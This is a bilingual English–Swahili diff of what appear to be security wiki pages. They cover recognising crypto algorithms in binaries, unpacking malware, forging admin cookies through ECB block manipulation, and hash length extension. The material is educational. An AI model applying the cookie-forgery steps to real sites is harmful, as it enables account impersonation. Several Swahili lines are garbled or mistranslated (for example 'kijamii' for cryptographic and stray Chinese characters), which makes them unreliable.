If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**.
Ikiwa unamaliza katika msimbo **ukitumia shift kulia na kushoto, xors na operesheni kadhaa za hesabu** kuna uwezekano mkubwa kwamba ni utekelezaji wa **algorithimu ya kijamii**. Hapa kuna njia kadhaa za **kutambua algorithimu inayotumika bila kuhitaji kubadilisha kila hatua**.
### API functions
### API kazi
**CryptDeriveKey**
If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
Ikiwa kazi hii inatumika, unaweza kupata ni **algorithimu ipi inatumika** ukikagua thamani ya parameter ya pili:
![](<../../images/image (156).png>)
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Angalia hapa jedwali la algorithimu zinazowezekana na thamani zao zilizotolewa: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Compresses and decompresses a given buffer of data.
Inabana na kufungua buffer fulani ya data.
**CryptAcquireContext**
From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP.
Kutoka [nyaraka](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Kazi ya **CryptAcquireContext** inatumika kupata mkono wa chombo maalum cha funguo ndani ya mtoa huduma maalum wa kijamii (CSP). **Mkononi huu unarudiwa unatumika katika simu za kazi za CryptoAPI** zinazotumia CSP iliyochaguliwa.
**CryptCreateHash**
Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter:
Inaanzisha hashing ya mtiririko wa data. Ikiwa kazi hii inatumika, unaweza kupata ni **algorithimu ipi inatumika** ukikagua thamani ya parameter ya pili:
![](<../../images/image (549).png>)
\
Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
Angalia hapa jedwali la algorithimu zinazowezekana na thamani zao zilizotolewa: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Code constants
### Misingi ya msimbo
Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value.
Wakati mwingine ni rahisi sana kutambua algorithimu kutokana na ukweli kwamba inahitaji kutumia thamani maalum na ya kipekee.
![](<../../images/image (833).png>)
If you search for the first constant in Google this is what you get:
Ikiwa unatafuta msingi wa kwanza kwenye Google hii ndiyo unayopata:
![](<../../images/image (529).png>)
Therefore, you can assume that the decompiled function is a **sha256 calculator.**\
You can search any of the other constants and you will obtain (probably) the same result.
Kwa hivyo, unaweza kudhani kwamba kazi iliyotolewa ni **sha256 calculator.**\
Unaweza kutafuta yoyote ya misingi mingine na utapata (labda) matokeo sawa.
### data info
### taarifa za data
If the code doesn't have any significant constant it may be **loading information from the .data section**.\
You can access that data, **group the first dword** and search for it in google as we have done in the section before:
Ikiwa msimbo huna msingi wowote muhimu inaweza kuwa **inapakia taarifa kutoka sehemu ya .data**.\
Unaweza kufikia data hiyo, **kundi la dword ya kwanza** na kutafuta hiyo kwenye google kama tulivyofanya katika sehemu iliyopita:
![](<../../images/image (531).png>)
In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**.
Katika kesi hii, ikiwa utaangalia **0xA56363C6** unaweza kupata kwamba inahusiana na **meza za algorithimu ya AES**.
## RC4 **(Symmetric Crypt)**
## RC4 **(Kijamii Crypt)**
### Characteristics
### Tabia
It's composed of 3 main parts:
Inajumuisha sehemu 3 kuu:
- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox).
- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length.
- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**.
- **Hatua ya Kuanza/**: Inaunda **meza ya thamani kutoka 0x00 hadi 0xFF** (256bytes kwa jumla, 0x100). Meza hii kwa kawaida inaitwa **Sanduku la Kubadilisha** (au SBox).
- **Hatua ya Kuchanganya**: Itakuwa **inazunguka kupitia meza** iliyoundwa hapo awali (zunguko wa 0x100, tena) ikibadilisha kila thamani kwa **bytes za nadharia**. Ili kuunda hizi bytes za nadharia, funguo za RC4 **zinatumika**. Funguo za RC4 **zinaweza kuwa** **kati ya 1 na 256 bytes kwa urefu**, hata hivyo kawaida inapendekezwa iwe juu ya 5 bytes. Kwa kawaida, funguo za RC4 ni 16 bytes kwa urefu.
- **Hatua ya XOR**: Hatimaye, maandiko ya wazi au cyphertext **yanapigwa XOR na thamani zilizoundwa hapo awali**. Kazi ya kuandika na kufungua ni ile ile. Kwa hili, **zunguko kupitia bytes 256 zilizoundwa** utafanywa mara nyingi kadri inavyohitajika. Hii kawaida inatambuliwa katika msimbo uliotolewa na **%256 (mod 256)**.
> [!NOTE]
> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)**
> **Ili kutambua RC4 katika msimbo wa disassembly/uliotolewa unaweza kuangalia kwa zunguko 2 za ukubwa 0x100 (kwa kutumia funguo) na kisha XOR ya data ya ingizo na thamani 256 zilizoundwa hapo awali katika zunguko 2 labda kwa kutumia %256 (mod 256)**
### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars)
### **Hatua ya Kuanza/Sanduku la Kubadilisha:** (Angalia nambari 256 inayotumika kama hesabu na jinsi 0 inavyoandikwa katika kila mahali pa wahusika 256)
![](<../../images/image (584).png>)
### **Scrambling Stage:**
### **Hatua ya Kuchanganya:**
![](<../../images/image (835).png>)
### **XOR Stage:**
### **Hatua ya XOR:**
![](<../../images/image (904).png>)
## **AES (Symmetric Crypt)**
## **AES (Kijamii Crypt)**
### **Characteristics**
### **Tabia**
- Use of **substitution boxes and lookup tables**
- It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._
- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used.
- Matumizi ya **sanduku za kubadilisha na meza za kutafuta**
- Inawezekana **kutofautisha AES kutokana na matumizi ya thamani maalum za meza za kutafuta** (misingi). _Kumbuka kwamba **misingi** inaweza **kuhifadhiwa** katika binary **au kuundwa** _**kikamilifu**._
- **Funguo ya kuandika** lazima iwe **inaweza kugawanywa** na **16** (kawaida 32B) na kawaida **IV** ya 16B inatumika.
### SBox constants
### Misingi ya SBox
![](<../../images/image (208).png>)
## Serpent **(Symmetric Crypt)**
## Serpent **(Kijamii Crypt)**
### Characteristics
### Tabia
- It's rare to find some malware using it but there are examples (Ursnif)
- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function)
- Ni nadra kupata malware inayotumia lakini kuna mifano (Ursnif)
- Rahisi kubaini ikiwa algorithimu ni Serpent au la kulingana na urefu wake (kazi ndefu sana)
### Identifying
### Kutambua
In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\
Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example:
Katika picha ifuatayo angalia jinsi msingi **0x9E3779B9** unavyotumika (kumbuka kwamba msingi huu pia unatumika na algorithimu nyingine za crypto kama **TEA** -Tiny Encryption Algorithm).\
Pia angalia **ukubwa wa zunguko** (**132**) na **idadi ya operesheni za XOR** katika **maelekezo ya disassembly** na katika **mfano wa msimbo**:
![](<../../images/image (547).png>)
As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following:
Kama ilivyotajwa hapo awali, msimbo huu unaweza kuonyeshwa ndani ya decompiler yoyote kama **kazi ndefu sana** kwani **hakuna kuruka** ndani yake. Msimbo uliotolewa unaweza kuonekana kama ifuatavyo:
![](<../../images/image (513).png>)
Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22).
Kwa hivyo, inawezekana kutambua algorithimu hii ukikagua **nambari ya uchawi** na **XORs za awali**, kuona **kazi ndefu sana** na **kulinganisha** baadhi ya **maelekezo** ya kazi ndefu **na utekelezaji** (kama shift kushoto kwa 7 na kuzungusha kushoto kwa 22).
## RSA **(Asymmetric Crypt)**
## RSA **(Kijamii Crypt)**
### Characteristics
### Tabia
- More complex than symmetric algorithms
- There are no constants! (custom implementation are difficult to determine)
- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants.
- Ngumu zaidi kuliko algorithimu za kijamii
- Hakuna misingi! (utekelezaji wa kawaida ni mgumu kubaini)
- KANAL (mchambuzi wa crypto) inashindwa kuonyesha vidokezo juu ya RSA na inategemea misingi.
### Identifying by comparisons
### Kutambua kwa kulinganisha
![](<../../images/image (1113).png>)
- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8`
- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen`
- Katika mstari wa 11 (kushoto) kuna `+7) >> 3` ambayo ni sawa na katika mstari wa 35 (kulia): `+7) / 8`
- Mstari wa 12 (kushoto) unakagua ikiwa `modulus_len < 0x040` na katika mstari wa 36 (kulia) inakagua ikiwa `inputLen+11 > modulusLen`
## MD5 & SHA (hash)
### Characteristics
### Tabia
- 3 functions: Init, Update, Final
- Similar initialize functions
- Kazi 3: Kuanza, Sasisha, Mwisho
- Kazi za kuanzisha zinazofanana
### Identify
### Tambua
**Init**
**Kuanza**
You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have:
Unaweza kutambua zote mbili ukikagua misingi. Kumbuka kwamba sha_init ina msingi 1 ambao MD5 haina:
![](<../../images/image (406).png>)
**MD5 Transform**
Note the use of more constants
Kumbuka matumizi ya misingi zaidi
![](<../../images/image (253) (1) (1).png>)
## CRC (hash)
- Smaller and more efficient as it's function is to find accidental changes in data
- Uses lookup tables (so you can identify constants)
- Ndogo na yenye ufanisi kwani kazi yake ni kupata mabadiliko yasiyokusudiwa katika data
- Inatumia meza za kutafuta (hivyo unaweza kutambua misingi)
### Identify
### Tambua
Check **lookup table constants**:
Angalia **misingi ya meza za kutafuta**:
![](<../../images/image (508).png>)
A CRC hash algorithm looks like:
Algorithimu ya hash ya CRC inaonekana kama:
![](<../../images/image (391).png>)
## APLib (Compression)
## APLib (Kubana)
### Characteristics
### Tabia
- Not recognizable constants
- You can try to write the algorithm in python and search for similar things online
- Hakuna misingi inayotambulika
- Unaweza kujaribu kuandika algorithimu hiyo katika python na kutafuta mambo yanayofanana mtandaoni
### Identify
### Tambua
The graph is quiet large:
Grafu ni kubwa sana:
![](<../../images/image (207) (2) (1).png>)
Check **3 comparisons to recognise it**:
Angalia **kulinganisha 3 kutambua**:
![](<../../images/image (430).png>)

View File

@ -1,24 +1,24 @@
{{#include ../../banners/hacktricks-training.md}}
# Identifying packed binaries
# Kutambua binaries zilizopakizwa
- **lack of strings**: It's common to find that packed binaries doesn't have almost any string
- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed.
- You can also use some tools to try to find which packer was used to pack a binary:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
- **ukosefu wa nyuzi**: Ni kawaida kukutana na binaries zilizopakizwa ambazo hazina karibu nyuzi yoyote
- Kuna **nyuzi nyingi zisizotumika**: Pia, wakati malware inatumia aina fulani ya pakka ya kibiashara ni kawaida kukutana na nyuzi nyingi zisizo na marejeo. Hata kama nyuzi hizi zipo, hiyo haimaanishi kwamba binary haijapakizwa.
- Unaweza pia kutumia zana fulani kujaribu kubaini ni pakka ipi ilitumika kupakia binary:
- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml)
- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml)
- [Language 2000](http://farrokhi.net/language/)
# Basic Recommendations
# Mapendekezo Msingi
- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start.
- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it.
- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved.
- **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here).
- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting.
- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory).
- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\
However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases.
- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
- **Anza** kuchambua binary iliyopakizwa **kutoka chini katika IDA na uende juu**. Unpackers huondoka mara tu msimbo ulioondolewa unapoondoka, hivyo ni vigumu kwa unpacker kuhamasisha utekelezaji kwa msimbo ulioondolewa mwanzoni.
- Tafuta **JMP's** au **CALLs** kwa **registers** au **mikoa** ya **kumbukumbu**. Pia tafuta **kazi zinazoshughulikia hoja na mwelekeo wa anwani kisha kuita `retn`**, kwa sababu kurudi kwa kazi katika kesi hiyo kunaweza kuita anwani iliyosukumwa tu kwenye stack kabla ya kuitwa.
- Weka **breakpoint** kwenye `VirtualAlloc` kwani hii inatoa nafasi katika kumbukumbu ambapo programu inaweza kuandika msimbo ulioondolewa. "enda kwa msimbo wa mtumiaji" au tumia F8 ili **kupata thamani ndani ya EAX** baada ya kutekeleza kazi na "**fuata anwani hiyo katika dump**". Hujui kama hiyo ndiyo mkoa ambapo msimbo ulioondolewa utaokolewa.
- **`VirtualAlloc`** ikiwa na thamani "**40**" kama hoja inamaanisha Soma+Andika+Tekeleza (msimbo fulani unaohitaji utekelezaji utaandikwa hapa).
- **Wakati wa kuondoa** msimbo ni kawaida kukutana na **kuita kadhaa** kwa **operesheni za hesabu** na kazi kama **`memcopy`** au **`Virtual`**`Alloc`. Ikiwa unajikuta katika kazi ambayo kwa wazi inafanya tu operesheni za hesabu na labda `memcopy`, mapendekezo ni kujaribu **kupata mwisho wa kazi** (labda JMP au wito kwa baadhi ya register) **au** angalau **kuitwa kwa kazi ya mwisho** na uende kwa hiyo kwani msimbo si wa kuvutia.
- Wakati wa kuondoa msimbo **kumbuka** kila wakati unapobadilisha **mkoa wa kumbukumbu** kwani mabadiliko ya mkoa wa kumbukumbu yanaweza kuashiria **kuanza kwa msimbo wa kuondoa**. Unaweza kwa urahisi kutupa mkoa wa kumbukumbu ukitumia Process Hacker (mchakato --> mali --> kumbukumbu).
- Wakati wa kujaribu kuondoa msimbo njia nzuri ya **kujua ikiwa tayari unafanya kazi na msimbo ulioondolewa** (hivyo unaweza tu kutupa) ni **kuangalia nyuzi za binary**. Ikiwa katika wakati fulani unafanya jump (labda kubadilisha mkoa wa kumbukumbu) na unagundua kwamba **nyuzi nyingi zaidi zimeongezwa**, basi unaweza kujua **unafanya kazi na msimbo ulioondolewa**.\
Hata hivyo, ikiwa pakka tayari ina nyuzi nyingi unaweza kuona ni nyuzi ngapi zina neno "http" na kuona ikiwa nambari hii inaongezeka.
- Unapotoa executable kutoka mkoa wa kumbukumbu unaweza kurekebisha baadhi ya vichwa ukitumia [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,66 @@
# ECB
(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key.
(ECB) Electronic Code Book - mpango wa usimbaji wa symmetrick ambao **unabadilisha kila block ya maandiko wazi** kwa **block ya maandiko yaliyosimbwa**. Ni mpango wa usimbaji **rahisi zaidi**. Wazo kuu ni **kugawanya** maandiko wazi katika **blocks za N bits** (inategemea ukubwa wa block ya data ya ingizo, algorithm ya usimbaji) na kisha kusimbua (kufungua) kila block ya maandiko wazi kwa kutumia funguo pekee.
![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png)
Using ECB has multiple security implications:
Kutumia ECB kuna athari nyingi za usalama:
- **Blocks from encrypted message can be removed**
- **Blocks from encrypted message can be moved around**
- **Blocks kutoka kwa ujumbe uliofungwa zinaweza kuondolewa**
- **Blocks kutoka kwa ujumbe uliofungwa zinaweza kuhamishwa**
# Detection of the vulnerability
# Ugunduzi wa udhaifu
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.\
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
Fikiria unapoingia kwenye programu mara kadhaa na **daima unapata cookie ile ile**. Hii ni kwa sababu cookie ya programu ni **`<username>|<password>`**.\
Kisha, unaunda watumiaji wapya, wote wawili wakiwa na **nenosiri refu sawa** na **karibu** **jina la mtumiaji** **sawa**.\
Unagundua kwamba **blocks za 8B** ambapo **info ya watumiaji wote wawili** ni sawa ni **sawa**. Kisha, unafikiria kwamba hii inaweza kuwa kwa sababu **ECB inatumika**.
Kama katika mfano ufuatao. Angalia jinsi hizi **2 cookies zilizofunguliwa** zina block **`\x23U\xE45K\xCB\x21\xC8`** mara kadhaa.
```
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
Hii ni kwa sababu **jina la mtumiaji na nenosiri la vidakuzi hivyo vilikuwa na herufi "a" mara kadhaa** (kwa mfano). **Vizuizi** ambavyo ni **tofauti** ni vizuizi vilivyokuwa na **angalau herufi 1 tofauti** (labda mkataba "|" au tofauti muhimu katika jina la mtumiaji).
This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username).
Sasa, mshambuliaji anahitaji tu kugundua kama muundo ni `<username><delimiter><password>` au `<password><delimiter><username>`. Ili kufanya hivyo, anaweza tu **kuunda majina kadhaa ya watumiaji** yenye **majina marefu na yanayofanana** na nenosiri hadi apate muundo na urefu wa mkataba:
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
| Urefu wa jina la mtumiaji: | Urefu wa nenosiri: | Urefu wa Jina la mtumiaji+Nenosiri: | Urefu wa vidakuzi (baada ya kufichua): |
| --------------------------- | ------------------ | ----------------------------------- | ------------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): |
| ---------------- | ---------------- | ------------------------- | --------------------------------- |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 7 | 7 | 14 | 16 |
# Ukatili wa udhaifu
# Exploitation of the vulnerability
## Removing entire blocks
Knowing the format of the cookie (`<username>|<password>`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
## Kuondoa vizuizi vyote
Kujua muundo wa cookie (`<username>|<password>`), ili kujifanya kuwa jina la mtumiaji `admin` tengeneza mtumiaji mpya anayeitwa `aaaaaaaaadmin` na pata cookie na uifichue:
```
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
Tunaweza kuona muundo `\x23U\xE45K\xCB\x21\xC8` ulioanzishwa hapo awali na jina la mtumiaji lililokuwa na `a` pekee.\
Kisha, unaweza kuondoa block ya kwanza ya 8B na utapata cookie halali kwa jina la mtumiaji `admin`:
```
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
## Kuhamasisha vizuizi
## Moving blocks
Katika hifadhidata nyingi, ni sawa kutafuta `WHERE username='admin';` au `WHERE username='admin ';` _(Kumbuka nafasi za ziada)_
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_
Hivyo, njia nyingine ya kujifanya kuwa mtumiaji `admin` ingekuwa:
So, another way to impersonate the user `admin` would be to:
- Kuunda jina la mtumiaji ambalo: `len(<username>) + len(<delimiter) % len(block)`. Kwa saizi ya block ya `8B` unaweza kuunda jina la mtumiaji linaloitwa: `username `, na delimiter `|` kipande `<username><delimiter>` kitazalisha vizuizi 2 vya 8Bs.
- Kisha, tengeneza nenosiri ambalo litajaza idadi sahihi ya vizuizi vinavyomwonyesha jina la mtumiaji tunataka kujifanya na nafasi, kama: `admin `
- Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username `, with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
- Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin `
Keki ya mtumiaji huyu itakuwa na vizuizi 3: vya kwanza 2 ni vizuizi vya jina la mtumiaji + delimiter na vya tatu ni nenosiri (ambalo linajifanya kuwa jina la mtumiaji): `username |admin `
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin `
**Kisha, badilisha tu block ya kwanza na ya mwisho na utakuwa unajifanya kuwa mtumiaji `admin`: `admin |username`**
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
## References
## Marejeleo
- [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](<http://cryptowiki.net/index.php?title=Electronic_Code_Book_(ECB)>)

View File

@ -1,18 +1,16 @@
# Esoteric languages
# Lugha za Kifumbo
{{#include ../banners/hacktricks-training.md}}
## [Esolangs Wiki](https://esolangs.org/wiki/Main_Page)
Check that wiki to search more esotreic languages
Angalia wiki hiyo kutafuta lugha zaidi za kifumbo
## Malbolge
```
('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@>
```
[http://malbolge.doleczek.pl/](http://malbolge.doleczek.pl)
## npiet
@ -22,7 +20,6 @@ Check that wiki to search more esotreic languages
[https://www.bertnase.de/npiet/npiet-execute.php](https://www.bertnase.de/npiet/npiet-execute.php)
## Rockstar
```
Midnight takes your heart and your soul
While your heart is as high as your soul
@ -51,11 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -65,5 +60,4 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,37 +2,37 @@
{{#include ../banners/hacktricks-training.md}}
## Summary of the attack
## Muhtasari wa shambulio
Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know:
Fikiria seva ambayo in **tishe** baadhi ya **data** kwa **kuongeza** **siri** kwa baadhi ya data ya wazi inayojulikana na kisha kuhashi data hiyo. Ikiwa unajua:
- **The length of the secret** (this can be also bruteforced from a given length range)
- **The clear text data**
- **The algorithm (and it's vulnerable to this attack)**
- **The padding is known**
- Usually a default one is used, so if the other 3 requirements are met, this also is
- The padding vary depending on the length of the secret+data, that's why the length of the secret is needed
- **Urefu wa siri** (hii inaweza pia kubruteforced kutoka kwa anuwai ya urefu iliyotolewa)
- **Data ya wazi**
- **Algorithimu (na inahatarishwa kwa shambulio hili)**
- **Padding inajulikana**
- Kawaida moja ya chaguo la msingi inatumika, hivyo ikiwa mahitaji mengine 3 yanakidhi, hii pia inafanya hivyo
- Padding inatofautiana kulingana na urefu wa siri + data, ndivyo maana urefu wa siri unahitajika
Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previous data + appended data**.
Basi, inawezekana kwa **mshambuliaji** **kuongeza** **data** na **kuunda** **sahihi** halali kwa **data ya awali + data iliyoongezwa**.
### How?
### Vipi?
Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**.
K基本上, algorithimu zinazohatarishwa zinaweza kuunda hash kwa kwanza **kuhashi block ya data**, na kisha, **kutoka** kwa **hash** iliyoundwa **awali** (hali), wana **ongeza block inayofuata ya data** na **kuhashi**.
Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\
If an attacker wants to append the string "append" he can:
Basi, fikiria kwamba siri ni "siri" na data ni "data", MD5 ya "siri data" ni 6036708eba0d11f6ef52ad44e8b74d5b.\
Ikiwa mshambuliaji anataka kuongeza mfuatano "append" anaweza:
- Generate a MD5 of 64 "A"s
- Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b
- Append the string "append"
- Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"**
- Kuunda MD5 ya 64 "A"s
- Kubadilisha hali ya hash iliyowekwa awali kuwa 6036708eba0d11f6ef52ad44e8b74d5b
- Kuongeza mfuatano "append"
- Kumaliza hash na hash inayotokana itakuwa **halali kwa "siri" + "data" + "padding" + "append"**
### **Tool**
### **Chombo**
{% embed url="https://github.com/iagox86/hash_extender" %}
### References
### Marejeleo
You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
Unaweza kupata shambulio hili limeelezwa vizuri katika [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,26 +2,24 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
Katika hali ya CBC, **block iliyosimbwa awali inatumika kama IV** ili XOR na block inayofuata:
![https://defuse.ca/images/cbc_encryption.png](https://defuse.ca/images/cbc_encryption.png)
To decrypt CBC the **opposite** **operations** are done:
Ili kufungua CBC, **operesheni** **za kinyume** zinafanywa:
![https://defuse.ca/images/cbc_decryption.png](https://defuse.ca/images/cbc_decryption.png)
Notice how it's needed to use an **encryption** **key** and an **IV**.
Tazama jinsi inavyohitajika kutumia **ufunguo wa usimbaji** na **IV**.
## Message Padding
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\
